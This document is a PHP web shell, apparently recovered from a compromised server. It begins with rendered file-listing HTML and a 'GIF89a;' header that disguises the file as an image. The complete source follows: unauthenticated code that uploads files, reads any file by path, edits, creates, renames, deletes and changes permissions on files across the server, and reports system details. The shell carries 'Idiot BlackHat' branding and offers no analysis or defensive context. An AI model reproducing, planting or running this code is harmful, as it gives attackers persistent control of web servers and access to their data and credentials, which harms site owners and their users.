<td class="td_home"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII="> <a href="?filesrc=/var/www/html/0.phtml&path=/var/www/html">0.phtml</a></td>
<td class="td_home"><center>11.938 KB</center></td>
<td class="td_home"><center>-rw-rw-r--</center></td>
<td class="td_home"><center>
<a href="?option&path=/var/www/html&opt=edit&type=file&name=0.phtml">Ubah</a> <a href="?option&path=/var/www/html&opt=rename&type=file&name=0.phtml&path=/var/www/html">Ganti Nama</a> <a href="?option&path=/var/www/html&opt=delete&type=file&name=0.phtml">Hapus</a> <a href="?option&path=/var/www/html&opt=chmod&type=file&name=0.phtml">Chmod</a>
</center></td>
</tr><tr>
<td class="td_home"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII="> <a href="?filesrc=/var/www/html/beneri.se_malware_analysis&path=/var/www/html">beneri.se_malware_analysis</a></td>
<td class="td_home"><center>0 KB</center></td>
<td class="td_home"><center>-rw-r--r--</center></td>
<td class="td_home"><center>
<a href="?option&path=/var/www/html&opt=edit&type=file&name=beneri.se_malware_analysis">Ubah</a> <a href="?option&path=/var/www/html&opt=rename&type=file&name=beneri.se_malware_analysis&path=/var/www/html">Ganti Nama</a> <a href="?option&path=/var/www/html&opt=delete&type=file&name=beneri.se_malware_analysis">Hapus</a> <a href="?option&path=/var/www/html&opt=chmod&type=file&name=beneri.se_malware_analysis">Chmod</a>
</center></td>
</tr></tbody></table>
<br></font></b><font color="black"><center><b> Idiot BlackHat<br></></b>
</center></font></body></html>
GIF89a;
<?php
//Xmipp404
//Redesign By Ikiw
//Recoded by Ikiw
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!doctype html>
<html>
<head>
<title> </title>
</head>';
?>
<style>
@font-face {
font-family: 'Comic Sans MS';
font-style: normal;
font-weight: 400;
src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
}
body {
background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
}
table, th, td {
border-collapse:collapse;
background: transparent;
font-family: Comic Sans MS ;
font-size: 13px;
}
input, textarea { font-family: Comic Sans MS ; }
.table_home, .th_home, .td_home { color:BLUE;
border: 1px solid BLUE;
}
th {
padding: 10px;
}
.td_home { padding: 7px; }
select {font-family: Comic Sans MS }
a {color:white}
textarea { width: 100%;height: 400px; }
</style>
<?php
echo '</head>
<body><h1><center><p align="center"><b><font face="Times New Roman" color="red" size="9">Ikiw <font color="white">Tamvan</font></font></center></h1>
<tr><td>
<font color="green"><center>'.php_uname().'</center></font><br>';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path =
getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<font color=green><center>$ rooted>> : <a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</font></center></td></tr><tr><td><br><center>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Upload Sukses</font><br />';
}else{
echo '<font color="red">Upload Gagal</font><br />';
}
}
echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:silver;font-family: Comic Sans MS " type="file" name="file" />
<input type="submit" value="upload" />
</form></center>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td><center>Current File : ";
echo $_GET['filesrc'];
echo '</center></tr></td></table><br />';
echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}
//Empety
elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
//Chmod
if($_GET['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Chmod Sukses</font><br />';
}else{
echo '<font color="red">Chmod Gagal</font><br />';
}
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}
//
elseif($_GET['opt'] == 'btw'){
$cwd = getcwd();
echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="20" value="Folder" />
<input type="hidden" name="path" value="'.$cwd.'">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Go" />
</form>';
}
//Rename file
elseif($_GET['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Ganti Nama Sukses </font><br />';
}else{
echo '<font color="red">Ganti Nama Gagal </font><br />';
}
$_POST['name'] = $_POST['newname'];
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
$new = $_POST['newname'];
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
<input type="hidden" name="path" value="'.$patc.'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}
//File baru
elseif($_GET['opt'] == 'baru'){
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
$new = $_POST['newname'];
$azz = $_POST['path'];
$newz = "$azz/$new";
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Buat File Sukses [ '.$new.' ]</font><br />';
}else{
echo '<font color="red">Buat File Gagal</font><br />';
}
fclose($fp);
}
echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
$ho = $_POST['ngaran1'];
if(isset($_POST['ngaran'])){
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
<input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
}
//Edited file
elseif($_GET['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Ubah File Sukes </font><br />';
}else{
echo '<font color="red">Ubah File Gagal </font><br />';
}
fclose($fp);
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
<input type="hidden" name="path" value="'.$patc.'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
//Delete dir and file
if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
//Delete dir
if($_GET['type'] == 'dir'){
if(rmdir($patc)){
echo '<font color="green">Hapus File Sukses</font><br />';
}else{
echo '<font color="red#">Hapus File Gagal </font><br />';
}
}
//buat folder
if($_GET['type'] == 'buat'){
$haaa = $_POST['path'];
$heee = $_POST['name'];
$hooo = "$haaa/$heee";
$new = $haaa.'/'.htmlspecialchars($heee);
if(!mkdir($new)){
echo '<font color="red">Buat Folder Gagal</font><br />';
}else{
echo '<font color="green">Buat Folder Sukses</font><br />';
}
}
//Delete file
elseif($_GET['type'] == 'file'){
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
if(unlink($patc)){
echo '<font color="green">Delete File Done</font><br />';
}else{
echo '<font color="red#">Delete File Error </font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
$pa = getcwd();
echo ' <table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<th class=th_home style="background:silver;color:black;"><center>Nama Berkas</center></th>
<th class=th_home style="background:silver;color:black;" ><center>Ukuran</center></th>
<th class=th_home style="background:silver;color:black;" ><center>Izin</center></th>
<th class=th_home style="background:silver;color:black;" ><center>Pengaturan</center></th>
</tr> <tr>
<td class=td_home>..</td><td class=td_home align=center>NONE</td> <td class=td_home align=center>LINK</td> <td class=td_home align=center> <a href="?option&path='.$pa.'&opt=baru&name=new.php">+ File Baru</a> | <a href="?option&path='.$pa.'&opt=btw&type=dir">+ Dir Baru</a> </td></tr>
';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "
<tr>
<td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\">$dir</a></td>
<td class=td_home ><center>DIR</center></td>
<td class=td_home ><center>";
if(is_writable("$path/$dir")) echo '<font color="green">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo "</center></td>
<td class=td_home ><center>
<a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\">Ganti Nama</a> <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\">Hapus</a> <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\">Chmod</a>
</center></td>
</tr>";
}
echo '<br>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td class=td_home><center>".$size."</center></td>
<td class=td_home><center>";
if(is_writable("$path/$file")) echo '<font color="green">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td class=td_home><center>
<a href=\"?option&path=$path&opt=edit&type=file&name=$file\">Ubah</a> <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\">Ganti Nama</a> <a href=\"?option&path=$path&opt=delete&type=file&name=$file\">Hapus</a> <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\">Chmod</a>
</center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<br><center> Idiot BlackHat<br></></b></body>
</html>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>